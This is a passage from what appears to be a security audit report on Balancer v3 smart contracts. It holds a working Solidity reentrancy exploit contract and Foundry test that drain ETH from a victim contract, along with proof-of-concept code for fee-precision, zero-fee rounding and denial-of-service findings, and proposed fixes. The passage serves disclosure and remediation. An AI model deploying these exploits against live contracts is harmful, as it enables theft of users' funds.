    IERC20 public immutable weth;

    constructor(address _balancerRouter, address _victimContract, IERC20 _weth) {
        balancerRouter = IRouterCommon(_balancerRouter);
        victimContract = _victimContract;
        weth = _weth;
    }

    bool internal readyForAttack;

    receive() external payable {
        // Receive excess ETH from balancer router.
        // During first call it is excess eth of this contract only. During second call(reentrancy) it
↪  is excess eth of VictimContract.
        if (readyForAttack) {
            // Setting this flag false to execute reentrancy only one time
            readyForAttack = false;
            // at this time msg.sender in transient storage of Balancer router contract is not
↪  discarded yet and that
            // address is still address of this contract. Hence excess eth of VictimContract is sent to
↪  this contract.
            VictimContract(payable(victimContract)).rebalance();
        }
    }

    function prepareForExploit() external {
        readyForAttack = true;
    }

    // maxAmountIn is slightly greater than the amount require to get exactAmountOut of
    // tokenOut to make sure this contract gets calls in receiver() method and attack successfully.
    function attack(
        address pool,
        IERC20 tokenOut,
        uint256 exactAmountOut,
        uint256 maxAmountIn,
        bytes calldata userData
    ) external payable returns (uint256 amountIn) {
        bytes[] memory calls = new bytes[](1);
```

```
            calls[0] = abi.encodeWithSelector(
                IRouter.swapSingleTokenExactOut.selector,
                pool,
                weth,
                tokenOut,
                exactAmountOut,
                maxAmountIn,
                type(uint256).max,
                true, // tokenIn is eth
                userData
            );

            balancerRouter.multicall{ value: msg.value }(calls);
        }
    }
```

3. Save `Exploit.t.sol` under `pkg/vault/test/foundry/`:

```
    // file: pkg/vault/test/foundry/Exploit.t.sol
    pragma solidity ^0.8.24;

    import "forge-std/Test.sol";

    import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
    import { IERC20Metadata } from "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";

    import { IWETH } from "@balancer-labs/v3-interfaces/contracts/solidity-utils/misc/IWETH.sol";
    import { IAuthentication } from
↪   "@balancer-labs/v3-interfaces/contracts/solidity-utils/helpers/IAuthentication.sol";
    import { IBasePool } from "@balancer-labs/v3-interfaces/contracts/vault/IBasePool.sol";
    import { IProtocolFeeController } from
↪   "@balancer-labs/v3-interfaces/contracts/vault/IProtocolFeeController.sol";
    import "@balancer-labs/v3-interfaces/contracts/vault/VaultTypes.sol";

    import { ScalingHelpers } from "@balancer-labs/v3-solidity-utils/contracts/helpers/ScalingHelpers.sol";
    import { ERC20TestToken } from "@balancer-labs/v3-solidity-utils/contracts/test/ERC20TestToken.sol";
    import { FixedPoint } from "@balancer-labs/v3-solidity-utils/contracts/math/FixedPoint.sol";

    import { PoolConfigLib } from "../../contracts/lib/PoolConfigLib.sol";
    import { VictimContract } from "../../contracts/VictimContract.sol";
    import { BaseVaultTest } from "./utils/BaseVaultTest.sol";
    import { Exploiter } from "../../contracts/Exploiter.sol";

    contract ExploitTest is BaseVaultTest {
        using ScalingHelpers for uint256;
        using FixedPoint for uint256;

        ERC20TestToken internal tokenA;
        ERC20TestToken internal tokenB;
        uint256 internal tokenAIdx;
        uint256 internal tokenBIdx;

        uint256 internal decimalsTokenA;
        uint256 internal decimalsTokenB;
        uint256 internal poolInitAmountTokenA;
        uint256 internal poolInitAmountTokenB;

        address internal sender;
        address internal poolCreator;

        function setUp() public virtual override {
            BaseVaultTest.setUp();

            setUpTokens();
            decimalsTokenA = IERC20Metadata(address(tokenA)).decimals();
            decimalsTokenB = IERC20Metadata(address(tokenB)).decimals();

            (tokenAIdx, tokenBIdx) = getSortedIndexes(address(tokenA), address(tokenB));

            setPoolInitAmounts();

            setUpVariables();
            createAndInitCustomPool();

            // Donate tokens to vault as a shortcut to change the pool balances without the need to pass
↪   through add/remove
```

```
        // liquidity operations. (No need to deal with BPTs, pranking LPs, guardrails, etc).
        _donateToVault();

        IProtocolFeeController feeController = vault.getProtocolFeeController();
        IAuthentication feeControllerAuth = IAuthentication(address(feeController));

        authorizer.grantRole(
↪   feeControllerAuth.getActionId(IProtocolFeeController.setGlobalProtocolSwapFeePercentage.selector),
            admin
        );

        vm.prank(poolCreator);
        // Set pool creator fee to 100%, so protocol + creator fees equals the total charged fees.
        feeController.setPoolCreatorSwapFeePercentage(pool, FixedPoint.ONE);
    }

    /**
    * @notice Override pool created by BaseVaultTest.
    * @dev For this test to be generic and support tokens with different decimals, tokenA and tokenB
↪   must be set by
    * `setUpTokens`. If this function runs before `BaseVaultTest.setUp()`, in the `setUp()` function,
↪   tokens defined
    * by BaseTest (like dai and usdc) cannot be used. If it runs after, we don't know which tokens are
↪   used by
    * createPool and initPool. So, the solution is to create a parallel function to create and
↪   initialize a custom
    * pool after the BaseVaultTest setUp finishes.

    */
    function createAndInitCustomPool() internal virtual {
        address[] memory tokens = new address[](2);
        tokens[tokenAIdx] = address(tokenA);
        tokens[tokenBIdx] = address(tokenB);
        pool = _createPool(tokens, "custom-pool");

        setPoolInitAmounts();

        uint256[] memory initAmounts = new uint256[](2);
        initAmounts[tokenAIdx] = poolInitAmountTokenA;
        initAmounts[tokenBIdx] = poolInitAmountTokenB;

        vm.startPrank(lp);
        _initPool(pool, initAmounts, 0);
        vm.stopPrank();
    }

    /**
    * @notice Set up tokens.
    * @dev When extending the test, override this function and set the same variables.
    */
    function setUpTokens() internal virtual {
        tokenA = ERC20TestToken(address(weth));
        tokenB = dai;
    }

    /**
    * @notice Set up test variables (sender and poolCreator).
    * @dev When extending the test, override this function and set the same variables.
    */
    function setUpVariables() internal virtual {
        sender = lp;
        poolCreator = lp;
    }

    //     maxSwapAmountTokenA = poolInitAmountTokenA.mulDown(99e16);
    //     maxSwapAmountTokenB = poolInitAmountTokenB.mulDown(99e16);
    // }

    /// @notice Donate tokens to vault, so liquidity tests are possible.
    function _donateToVault() internal virtual {
        if (address(tokenA) == address(weth)) {
            uint256 wethDeposit = 100 * poolInitAmountTokenA;

            IWETH(address(tokenA)).deposit{ value: wethDeposit }();
            tokenA.transfer(address(vault), wethDeposit);
```

```
        } else {
            tokenA.mint(address(vault), 100 * poolInitAmountTokenA);
        }
        if (address(tokenB) == address(weth)) {
            uint256 wethDeposit = 100 * poolInitAmountTokenA;

            IWETH(address(tokenB)).deposit{ value: wethDeposit }();
            tokenB.transfer(address(vault), wethDeposit);
        } else {
            tokenB.mint(address(vault), 100 * poolInitAmountTokenB);
        }
        // Override vault liquidity, to make sure the extra liquidity is registered.
        vault.manualSetReservesOf(tokenA, 100 * poolInitAmountTokenA);
        vault.manualSetReservesOf(tokenB, 100 * poolInitAmountTokenB);
    }

    /// @dev Override this function to introduce custom rates and rate providers.
    function getRate(IERC20) internal view virtual returns (uint256) {
        return FixedPoint.ONE;
    }

    function testAttack() public {
        uint256 exactAmountOut = 10e18;

        vm.startPrank(sender);
        VictimContract victimContract = new VictimContract(address(router), pool, address(tokenA),
↪   address(tokenB));
        //Given victim contract has some ETH already
        vm.deal(payable(victimContract), 100e18);

        Exploiter exploiter = new Exploiter(address(router), address(victimContract),
↪   IERC20(address(tokenA)));
        exploiter.prepareForExploit();

        console.log("eth balance in victim contract before attack", address(victimContract).balance);
        console.log("eth balance in exploiter contract before attack", address(exploiter).balance);

        uint256 maxAmountIn = 12e18;
        exploiter.attack{ value: maxAmountIn }(pool, IERC20(address(tokenB)), exactAmountOut,
↪   maxAmountIn, bytes(""));
        console.log("eth balance in victim contract after attack", address(victimContract).balance);
        console.log("eth balance in exploiter contract after attack", address(exploiter).balance);
        vm.stopPrank();
    }

    function setPoolInitAmounts() internal {
        uint256 rateTokenA = getRate(tokenA);
        uint256 rateTokenB = getRate(tokenB);

        // Fix pool init amounts, adjusting to new decimals. These values will be used to calculate max
↪   swap values and
        // pool liquidity.
        poolInitAmountTokenA = poolInitAmount.mulDown(10 ** (decimalsTokenA)).divDown(rateTokenA);
        poolInitAmountTokenB = poolInitAmount.mulDown(10 ** (decimalsTokenB)).divDown(rateTokenB);
    }
}
```

4. run `foundry test` through the following command: `forge test --match-test testAttack -vv`. Here is console output:

```
eth balance in victim contract before attack 10000000000000000000
eth balance in exploiter contract before attack 0
eth balance in victim contract after attack 0
eth balance in exploiter contract after attack 9000000000000000000
```

Recommendation: Attached is a possible fix, although there can be other fixes (for example adding a reentrancy guard to `multicall`). It's the protocol's design decision about how to fix this issue. Change code of `saveSenderAndManageEth` as given below:

```
modifier saveSenderAndManageEth() {
    bool isExternalSender = _saveSender(msg.sender);

    // Lock the return of ETH during execution
    _isReturnEthLockedSlot().tstore(true);
    _;
    _isReturnEthLockedSlot().tstore(false);

    address _sender = _getSenderSlot().tload();
    _discardSenderIfRequired(isExternalSender);
    _returnEth(_sender);
}
```

See the proof of concept test output after the fix, showing the correct and expected output. Here the attacker was not able to steal any funds.

```
eth balance in victim contract before attack 10000000000000000000
eth balance in exploiter contract before attack 0
eth balance in victim contract after attack 8800000000000000000
eth balance in exploiter contract after attack 2000000000000000000
```

3.2 Low Risk

3.2.1 Protocol fee setting is impossible after pool creator fee is set for ~40% of pool creator fee values

Submitted by cergyk

Severity: Low Risk

Context: ProtocolFeeController.sol#L346

Description: Balancer has implemented a fee setting which enables for some pools to opt-out of protocol fees initially. However at anytime, the DAO can override it using:

- ProtocolFeeController.sol#L415-L428:

```
    /// @inheritdoc IProtocolFeeController
    function setProtocolSwapFeePercentage(
        address pool,
        uint256 newProtocolSwapFeePercentage
    ) external authenticate withValidSwapFee(newProtocolSwapFeePercentage) withLatestFees(pool) {
        _updatePoolSwapFeePercentage(pool, newProtocolSwapFeePercentage, true);
    }

    /// @inheritdoc IProtocolFeeController
    function setProtocolYieldFeePercentage(
        address pool,
        uint256 newProtocolYieldFeePercentage
    ) external authenticate withValidYieldFee(newProtocolYieldFeePercentage) withLatestFees(pool) {
        _updatePoolYieldFeePercentage(pool, newProtocolYieldFeePercentage, true);
    }
```

If a pool creator fee has already been set, the aggregated protocol and creator fee must be a multiple of the fee precision (`1e11`).

As can be seen in `_computeAggregateFeePercentage` in ProtocolFeeController.sol#L338-L347:

```
function _computeAggregateFeePercentage(
    uint256 protocolFeePercentage,
    uint256 poolCreatorFeePercentage
) internal pure returns (uint256 aggregateFeePercentage) {
    aggregateFeePercentage =
        protocolFeePercentage +
        protocolFeePercentage.complement().mulDown(poolCreatorFeePercentage);

    _ensureValidPrecision(aggregateFeePercentage); // <<<
}
```

Unfortunately, a value for `protocolFeePercentage` satisfying this condition does not exist for every `poolCreatorFeePercentage` as demonstrated in the PoC provided in the appendix:

Additionally, as shown by the POC, these `poolCreatorFeePercentage` values are pretty frequent (accounting for about 40% of all values). We shall keep in mind that for these values **no** `protocolFeePercentage` exist which would satisfy the condition, and there are even more values where only a small portion of `protocolFeePercentage` are accepted.

- Scenario 1: Adversarial pool creator.

  As a result of this property, a pool creator who wants to evade the setting of protocol fees, can just set a `poolCreatorFeePercentage` such as no non-zero `protocolFeePercentage` is accepted.

- Scenario 2: Global protocol fee setting.

  If global protocol fees are set some time after the deployment of the vault, permissionless updating on existing pools would be dosed for many pools which have set a non-zero `poolCreatorFee` with no malicious intent (simply because ~40% of pool creator fee values DOS the adding of protocol fees later on).

  - ProtocolFeeController.sol#L303-L321:

```
    /// @inheritdoc IProtocolFeeController
    function updateProtocolSwapFeePercentage(address pool) external withLatestFees(pool) {
        PoolFeeConfig memory feeConfig = _poolProtocolSwapFeePercentages[pool];
        uint256 globalProtocolSwapFee = _globalProtocolSwapFeePercentage;

        if (feeConfig.isOverride == false && globalProtocolSwapFee != feeConfig.feePercentage) {
            _updatePoolSwapFeePercentage(pool, globalProtocolSwapFee, false);
        }
    }

    /// @inheritdoc IProtocolFeeController
    function updateProtocolYieldFeePercentage(address pool) external withLatestFees(pool) {
        PoolFeeConfig memory feeConfig = _poolProtocolYieldFeePercentages[pool];
        uint256 globalProtocolYieldFee = _globalProtocolYieldFeePercentage;

        if (feeConfig.isOverride == false && globalProtocolYieldFee != feeConfig.feePercentage) {
            _updatePoolYieldFeePercentage(pool, globalProtocolYieldFee, false);
        }
    }
```

Proof of Concept: Please consider this randomized test which selects 100 random values for pool creator fee (which is a multiple of `FEE_SCALING_FACTOR`), and then attempt to apply every possible protocol fee value (also multiple of `FEE_SCALING_FACTOR`). We obtain consistently that 40 out of 100 random values result in no possible value for protocol fee:

```
use rand::{rngs::ThreadRng, Rng};

const ONE: u128 = 1e18 as u128; // 18 decimal places
const FEE_SCALING_FACTOR: u128 = 1e11 as u128;
const MAX_PROTOCOL_FEE: u128 = 50 * 1e16 as u128;

- [derive(Debug)]
struct FeePrecisionTooHigh;

fn complement(x: u128) -> u128 {
    // Equivalent to:
    // result = (x < ONE) ? (ONE - x) : 0;
    if x < ONE {
        ONE - x
    } else {
        0
    }
}

fn mul_down(a: u128, b: u128) -> u128 {
    // Multiplication overflow protection is provided by Rust's built-in checked multiplication.
    let product = a as u128 * b as u128;
    product / ONE
}

fn compute_aggregate_percentage_unsafe(pool_creator_fee_percentage: u128, protocol_fee_percentage: u128) ->
↪  u128 {
    let complement_value = complement(protocol_fee_percentage);
    protocol_fee_percentage + mul_down(complement_value, pool_creator_fee_percentage)
}
```

```
fn ensure_valid_precision(fee_percentage: u128) -> Result<(), FeePrecisionTooHigh> {
    // Ensure there will be no precision loss in the Vault
    if (fee_percentage / FEE_SCALING_FACTOR) * FEE_SCALING_FACTOR != fee_percentage {
        Err(FeePrecisionTooHigh)
    } else {
        Ok(())
    }
}

/**
 * Equivalent to balancer solidity implementation
 */
fn compute_aggregate_percentage(pool_creator_fee_percentage: u128, protocol_fee_percentage: u128) ->
↪  Result<(), FeePrecisionTooHigh> {
    // Compute aggregate percentage
    let aggregate_fee = compute_aggregate_percentage_unsafe(pool_creator_fee_percentage,
↪  protocol_fee_percentage);

    // Returns error if precision too high
    ensure_valid_precision(aggregate_fee)
}

fn test_pool_creator_percentage_for_all_protocol_values(pool_creator_fee_percentage: u128) -> (u128, u128) {
    let mut protocol_fee_percentage: u128 = 1e11 as u128;
    let mut successes = 0 as u128;
    let mut fails = 0 as u128;

    // Iterate over all non-zero values possible for protocol fee, record number of successes and failures
    while (protocol_fee_percentage <= MAX_PROTOCOL_FEE as u128) {
        match compute_aggregate_percentage(pool_creator_fee_percentage, protocol_fee_percentage) {
            Ok(_) => successes += 1,
            Err(_) => fails += 1,
        };
        protocol_fee_percentage += 1e11 as u128;
    }
    (successes, fails)
}

fn gen_pool_fee_truncated(rng: &mut ThreadRng) -> u128 {
    let random_fee_truncated: u128 = rng.gen();
    (random_fee_truncated % ONE/FEE_SCALING_FACTOR) + 1
}

fn main() {
    // Create a random number generator
    let mut rng = rand::thread_rng();

    const nb_iterations: u128 = 100 as u128;

    // Generate a random number between 1 and 10^7 (inclusive)
    let random_fee_truncated: u128 = gen_pool_fee_truncated(&mut rng);
    // Rescale to [1e11, 1e18]
    let mut pool_creator_fee_percentage = random_fee_truncated*FEE_SCALING_FACTOR;

    let mut dos_values = 0;
    let mut i = 0;
    while (i <= nb_iterations) {
        let (successes, fails) =
↪  test_pool_creator_percentage_for_all_protocol_values(pool_creator_fee_percentage);
        // Record values for pool creator fee where no non-zero value for protocol fee is accepted
        if (successes == 0) {
            println!("Pool creator percentage {}, successes {}, fails {}", pool_creator_fee_percentage,
↪  successes, fails);
            dos_values += 1;
        }
        pool_creator_fee_percentage = gen_pool_fee_truncated(&mut rng) * FEE_SCALING_FACTOR;
        i += 1;
    }
    println!("Pool creator values dosing protocol fee setting: {} of {}", dos_values, nb_iterations); // ~40
↪  out of 100
}
```

Recommendation: Instead of checking for valid precision, one can simply round to the closest multiple, ensuring that precision silently:

```
  function _computeAggregateFeePercentage(
      uint256 protocolFeePercentage,
      uint256 poolCreatorFeePercentage
  ) internal pure returns (uint256 aggregateFeePercentage) {
      aggregateFeePercentage =
          protocolFeePercentage +
          protocolFeePercentage.complement().mulDown(poolCreatorFeePercentage);

+     aggregateFeePercentage = (aggregateFeePercentage / FEE_SCALING_FACTOR) * FEE_SCALING_FACTOR;
  }
```

3.2.2 Swap fees rounded to zero for tokens with low decimals

Submitted by holydevoti0n

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: `_computeAndChargeAggregateSwapFees()` may round aggregate swap fees down to zero when computing swaps for tokens that have a small amount of decimals (WBTC, USDC, USDT). The issue is at the following line of code:

```
function _computeAndChargeAggregateSwapFees(
    PoolData memory poolData,
    uint256 totalSwapFeeAmountScaled18,
    address pool,
    IERC20 token,
    uint256 index
) internal returns (uint256 totalSwapFeeAmountRaw, uint256 aggregateSwapFeeAmountRaw) {
    // ...
        totalSwapFeeAmountRaw = totalSwapFeeAmountScaled18.toRawUndoRateRoundDown(
            poolData.decimalScalingFactors[index],
            poolData.tokenRates[index]
        );
    // ...
}
```

The `toRawUndoRateRoundDown` function will divide the `totalSwapFeeAmountScaled18` by the product of `poolData.decimalScalingFactors[index]` (`1e10`) and `poolData.tokenRates[index]` (`1e18`). Essentially, it will scale down the value from 18 decimals to the token's native decimals and adjust for the token's rate.

For tokens like WBTC with 8 decimals, if the calculated raw fee after scaling and rate adjustment is a small fraction, the result will be zero, meaning no fees will be charged.

Proof of Concept:

- WBTC. Consider the following scenario:
  - Alice calls `swapSingleTokenExactIn` passing 9e5 WBTC (approximately 60 USD) to a WBTC-ETH pool that has 1e12(0.0001%) swapFee and 1% `AggregateSwapFeePercentage`.
  - Swap fees should be greater than 0, but in this case no fees are charged.

  Paste the following code on `E2eSwap.t.sol` for the proof of concept of the scenario presented above:

```
function testSwap_doesntAccountForFees_whenWBTC() public {
    decimalsTokenA = 8; // Simulates WBTC
    decimalsTokenB = 18;

    _setTokenDecimalsInPool();

    uint256 exactAmountIn = 9e5;

    uint256 poolSwapFeePercentage = 1e12;
    vault.manualSetStaticSwapFeePercentage(pool, poolSwapFeePercentage);

    vault.manualSetAg

    vm.startPrank(sender);
    uint256 exactAmountOut = router.swapSingleTokenExactIn(
        pool,
        tokenA,
        tokenB,
        exactAmountIn,
        0,
        MAX_UINT128,
        false,
        bytes("")
    );

    uint256 feesTokenA = vault.getAggregateSwapFeeAmount(pool, tokenA);
    uint256 feesTokenB = vault.getAggregateSwapFeeAmount(pool, tokenB);

    console.log("feesTokenA: %e", feesTokenA);
    console.log("feesTokenB: %e", feesTokenB);
}
```

Run the tests with the following command:

```
forge test --match-test testSwap_doesntAccountForFees_whenWBTC -vv
```

The output should look like this:

```
feesTokenA: 0e0
feesTokenB: 0e0
```

Impact:

- Loss of funds: swap fees are not accumulated for the protocol and for the pool creator.
- Users are able to make charge-free swaps.

Recommendation: Fix is non trivial. One possibility would be to increase the minimum fee percentage.

3.2.3 Round-trip fee can be forced on accounts removing liquidity via multisig

Submitted by cergyk, also found by Aamirusmani1552 and 0xCiphky

Severity: Low Risk

Context: Vault.sol#L884-L890

Description: A round-trip fee is implemented as an additional safety to avoid flash-loan based attacks on pool liquidity. This means that if a user adds and removes liquidity in the same transaction for the same pool using `PROPORTIONAL` setting, they will be charged the static swap fee on liquidity removal.

- Vault.sol#L884-L890:

```
// Charge roundtrip fee.
if (_addLiquidityCalled().tGet(params.pool)) {
    uint256 swapFeePercentage = poolData.poolConfigBits.getStaticSwapFeePercentage();
    for (uint256 i = 0; i < locals.numTokens; ++i) {
        swapFeeAmounts[i] = amountsOutScaled18[i].mulUp(swapFeePercentage);
        amountsOutScaled18[i] -= swapFeeAmounts[i];
    }
}
```

Since this flag is being set transiently for the transaction, and an unlocking session is being idempotent (meaning if the pool was already unlocked, the unlock function silently succeeds), any user can call `execTransaction` on a smart account and impose the round-trip fee on the liquidity removal.

`transient` modifier allows to reenter in Vault.sol#L97-L114:

```
modifier transient() {
    bool isUnlockedBefore = _isUnlocked().tload();

    if (isUnlockedBefore == false) {
        _isUnlocked().tstore(true);
    }

    // The caller does everything here and has to settle all outstanding balances.
    _;

    if (isUnlockedBefore == false) {
        if (_nonZeroDeltaCount().tload() != 0) {
            revert BalanceNotSettled();
        }

        _isUnlocked().tstore(false);
    }
}
```

`Safe` multisig enables to permissionlessly call `execTransaction` by default in Safe.sol#L111-L164:

```
function execTransaction(
    address to,
    uint256 value,
    bytes calldata data,
    Enum.Operation operation,
    uint256 safeTxGas,
    uint256 baseGas,
    uint256 gasPrice,
    address gasToken,
    address payable refundReceiver,
    bytes memory signatures
) external payable override returns (bool success) {
    onBeforeExecTransaction(to, value, data, operation, safeTxGas, baseGas, gasPrice, gasToken,
↪   refundReceiver, signatures);
    bytes32 txHash;
    // Use scope here to limit variable lifetime and prevent `stack too deep` errors
    {
        txHash = getTransactionHash( // Transaction info
            to,
            value,
            data,
            operation,
            safeTxGas,
            // Payment info
            baseGas,
            gasPrice,
            gasToken,
            refundReceiver,
            // Signature info
            // We use the post-increment here, so the current nonce value is used and incremented afterwards.
            nonce++
        );
        checkSignatures(txHash, signatures);
    }
    address guard = getGuard();
    {
        if (guard != address(0)) {
            ITransactionGuard(guard).checkTransaction(
                // Transaction info
                to,
                value,
                data,
                operation,
                safeTxGas,
                // Payment info
                baseGas,
                gasPrice,
                gasToken,
                refundReceiver,
```

```
                // Signature info
                signatures,
                msg.sender
            );
        }
    }
}
```

Slippage controls can limit the damage of this manipulation, but setting slippage control too tight would guarantee the transaction to fail if the price in the pool moves even slightly.

- Scenario: Pool `USDC/WETH` with `1%` static swap fee.
  - `Alice DAO` multisig submits a `safe` transaction to remove `1M$` of liquidity in `USDC` and `WETH`, with slippage set at `1.5%`.
  - Bob sees that all signatures are available to call `execTransaction`.
  - Using a contract, Bob provides a big amount of liquidity and calls `execTransaction` on behalf of Alice DAO.

    As a result Alice DAO is penalized by `1%` on its liquidity removal.
  - In a subsequent transaction, Bob removes liquidity and pockets the fee paid by Alice.

    Please note that if Bob is the pool creator, he can simply raise the `poolCreatorFee` to `100%` for the particular transaction to pocket the whole fee without having to provide much liquidity.

Recommendation: Provide a flag to `opt-out` of round-trip fee. If the flag is set to `true` for the call, the user does not expects to pay the rounding fee, and the call can be reverted.

3.2.4 Withdrawal DoS due to blacklisted tokens

Submitted by holydevoti0n

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: The `removeLiquidityFromBufferHook` function allows users to withdraw their proportional share of both underlying and wrapped tokens from a buffer.

However, if the underlying token is subject to blacklist restrictions (such as USDC), users with blacklisted underlying tokens will face a permanent DoS, preventing them from withdrawing their wrapped tokens due to the combined withdrawal operation.

- VaultAdmin.sol#L637:

```
function removeLiquidityFromBufferHook(
    IERC4626 wrappedToken,
    uint256 sharesToRemove,
    address sharesOwner
)
    external
    onlyVaultDelegateCall
    onlyVault
    onlyWhenUnlocked
    withInitializedBuffer(wrappedToken)
    returns (uint256 removedUnderlyingBalanceRaw, uint256 removedWrappedBalanceRaw)
{
    // ...
    // This triggers an external call to itself; the Vault is acting as a Router in this case.
    // `sendTo` makes external calls (`transfer`) but is non-reentrant.
    if (removedUnderlyingBalanceRaw > 0) {
          _vault.sendTo(underlyingToken, sharesOwner, removedUnderlyingBalanceRaw); // <<<
    }
    if (removedWrappedBalanceRaw > 0) {
          _vault.sendTo(wrappedToken, sharesOwner, removedWrappedBalanceRaw); // <<<
    }
    // ...
}
```

Impact: Users holding blacklisted underlying tokens will be unable to withdraw any of their wrapped tokens, leading to a permanent lockup of their funds.

Recommendation: Separate the withdrawal of underlying and wrapped tokens into two independent operations. This allows users to retrieve their wrapped tokens even if the underlying token is restricted, thereby avoiding DoS scenarios and ensuring user funds remain accessible.

3.2.5 Balancer Pool Token doesn't support Smart Wallets signature

Submitted by happybaby

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: EIP-4337 is a standard that allows smart contracts to behave like user accounts, thereby extending the user account landscape of Externally Owned Accounts (EOA) with smart contract accounts.

To verify the signatures, the `BalancerPoolToken` contract uses the OpenZeppelin version that makes a call to the `ecrecover` precompile contract, which is incompatible with smart contract accounts.

```
function permit(
    address owner,
    address spender,
    uint256 amount,
    uint256 deadline,
    uint8 v,
    bytes32 r,
    bytes32 s
) public virtual {
    // solhint-disable-next-line not-rely-on-time
    if (block.timestamp > deadline) {
        revert ERC2612ExpiredSignature(deadline);
    }

    bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, _useNonce(owner),
↪   deadline));

    bytes32 hash = _hashTypedDataV4(structHash);


    address signer = ECDSA.recover(hash, v, r, s); // <<<
    if (signer != owner) {
        revert ERC2612InvalidSigner(signer, owner);
    }

    _vault.approve(owner, spender, amount);
}
```

Recommendation: To enable EIP-1271 smart contract account signature checks, consider using OpenZeppelin's `SignatureChecker` library instead.

See for reference the OpenZeppelin audit.

3.2.6 Executing buffer swap via BatchRouter by paying with ETH will always DoS

Submitted by crypticdefense

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: `BatchRouter::swapExactIn` and `BatchRouter::swapExactOut` allows users to faciliate multiple swaps within the `Balancer Vault`, for example DAI → USDC → WETH.

The pool specified in the arguments of each swap step will be the pool used for the respective swap. If the pool address provided is an `ERC4626 vault` (buffer), then a `WRAP/UNWRAP` is executed on the buffer within the Balancer vault.

For context, a buffer is not a pool, but it is quite similar. Within the Balancer vault, users can initialize buffers which consists of two tokens: the vault shares (wrapped token) and the vault asset (unwrapped token). You can learn more about ERC4626 vaults here: ERC4626 implementation.

Users can add/remove liquidity to the buffers as they please (add shares/underlying). Or, users can WRAP/UNWRAP:

- Wrap: Convert underlying to shares. So the Vault receives underlying (i.e, DAI) from the caller, and gives ERC4626 shares in return (waDAI).
- Unwrap: Opposite of WRAP, convert shares to underlying. So the vault shares (waDAI) and gives assets in return (DAI).

Learn more about buffers here: ERC4626 Liquidity Buffers

`BatchRouter::swapExactIn` and `BatchRouter::swapExactOut` also allows users to send ETH. Since there cannot be ETH pools within Vaults, the ETH is wrapped into WETH for the swap. This is useful if users or external protocols that have integrated the router are utilizing ETH (perhaps staking protocol, etc) and swap their ETH for another token. However, this is problematic for buffers, because the wrapping ETH to WETH option is always hardcoded to `false`, causing DoS.

Proof of Concept: Let's observe the `BatchRouter::swapExactIn`, but note that this also applies to `BatchRouter::swapExactOut`:

- BatchRouter.sol#L57-L84):

```
function swapExactIn(
    SwapPathExactAmountIn[] memory paths,
    uint256 deadline,
    bool wethIsEth, // <<<
    bytes calldata userData
)
    external
    payable // <<<
    saveSender
    returns (uint256[] memory pathAmountsOut, address[] memory tokensOut, uint256[] memory amountsOut)
{
    return
        abi.decode(
            _vault.unlock(
                abi.encodeCall(
                    BatchRouter.swapExactInHook,
                    SwapExactInHookParams({
                        sender: msg.sender,
                        paths: paths,
                        deadline: deadline,
                        wethIsEth: wethIsEth,
                        userData: userData
                    })
                )
            ),
            (uint256[], address[], uint256[])
        );
}
```

If `wethIsEth == true`, then ETH is wrapped to WETH for the swap. In other words, user is paying ETH to swap WETH $\rightarrow$ tokenA $\rightarrow$ tokenB $\rightarrow$ ... $\rightarrow$ tokenOut. User only has to pay for the tokenIn, and they will receive tokenOut.

The vault::unlock callback will call `swapExactInHook`, where the following is executed:

- BatchRouter.sol#L116-L150:

```
function swapExactInHook(
    SwapExactInHookParams calldata params
)
    external
    nonReentrant
    onlyVault
    returns (uint256[] memory pathAmountsOut, address[] memory tokensOut, uint256[] memory amountsOut)
{
    (pathAmountsOut, tokensOut, amountsOut) = _swapExactInHook(params); //@audit Compute amounts to pay
↪  user and for user to receive

    _settlePaths(params.sender, params.wethIsEth); //@audit This will take tokens from user and pay the
↪  user
}

function _swapExactInHook(
    SwapExactInHookParams calldata params
) internal returns (uint256[] memory pathAmountsOut, address[] memory tokensOut, uint256[] memory
↪  amountsOut) {
    // The deadline is timestamp-based: it should not be relied upon for sub-minute accuracy.
    // solhint-disable-next-line not-rely-on-time
    if (block.timestamp > params.deadline) {
        revert SwapDeadline();
    }

    pathAmountsOut = _computePathAmountsOut(params); // <<<

    // The hook writes current swap token and token amounts out.
    // We copy that information to memory to return it before it is deleted during settlement.
    tokensOut = _currentSwapTokensOut().values();
    amountsOut = new uint256[](tokensOut.length);
    for (uint256 i = 0; i < tokensOut.length; ++i) {
        amountsOut[i] =
            _currentSwapTokenOutAmounts().tGet(tokensOut[i]) +
            _settledTokenAmounts().tGet(tokensOut[i]);
        _settledTokenAmounts().tSet(tokensOut[i], 0);
    }
}
```

`_computePathAmountsOut` handles the swaps, and compute how much the user has to pay of tokenIn and how much they receive of tokenOut. Then `_settlePaths` actually takes the tokens from the user and pays them.

However, there is a case where `_computePathAmountsOut` directly takes the token from the user, where they will not end up paying during the `_settlePaths` call:

- BatchRouter.sol#L165-L168:

```
if (path.steps[0].isBuffer && EVMCallModeHelpers.isStaticCall() == false) {
    // If first step is a buffer, take the token in advance. We need this to wrap/unwrap.
     _takeTokenIn(params.sender, stepTokenIn, stepExactAmountIn, false); //@audit false hardcoded
} else {
```

If the first step is a buffer, then take tokens directly from the user. Meaning, whatever tokens they are paying `tokenIn`, must be paid now. Notice that the last parameter is hardcoded to false.

- RouterCommon.sol#L262:

```
  function _takeTokenIn(address sender, IERC20 tokenIn, uint256 amountIn, bool wethIsEth) internal {
↪   //@audit wethIsEth is false
      // If the tokenIn is ETH, then wrap `amountIn` into WETH.
      if (wethIsEth && tokenIn == _weth) {
          if (address(this).balance < amountIn) {
              revert InsufficientEth();
          }

          // wrap amountIn to WETH.
          _weth.deposit{ value: amountIn }();
          // send WETH to Vault.
          _weth.safeTransfer(address(_vault), amountIn);
          // update Vault accounting.
          _vault.settle(_weth, amountIn);
      } else {
          if (amountIn > 0) {
              // Send the tokenIn amount to the Vault
              _permit2.transferFrom(sender, address(_vault), amountIn.toUint160(), address(tokenIn));
              _vault.settle(tokenIn, amountIn);
          }
      }
  }
```

We can see that if the user specified WETH, but paid with ETH, the call will revert because it will skip the wrapping to WETH and instead attempt to directly take WETH from the caller. This is not the case for any other swap, only when buffer is specified. If it is any other type of swap, then ETH will be wrapped to WETH correctly, as specified by caller.

Consider the following example:

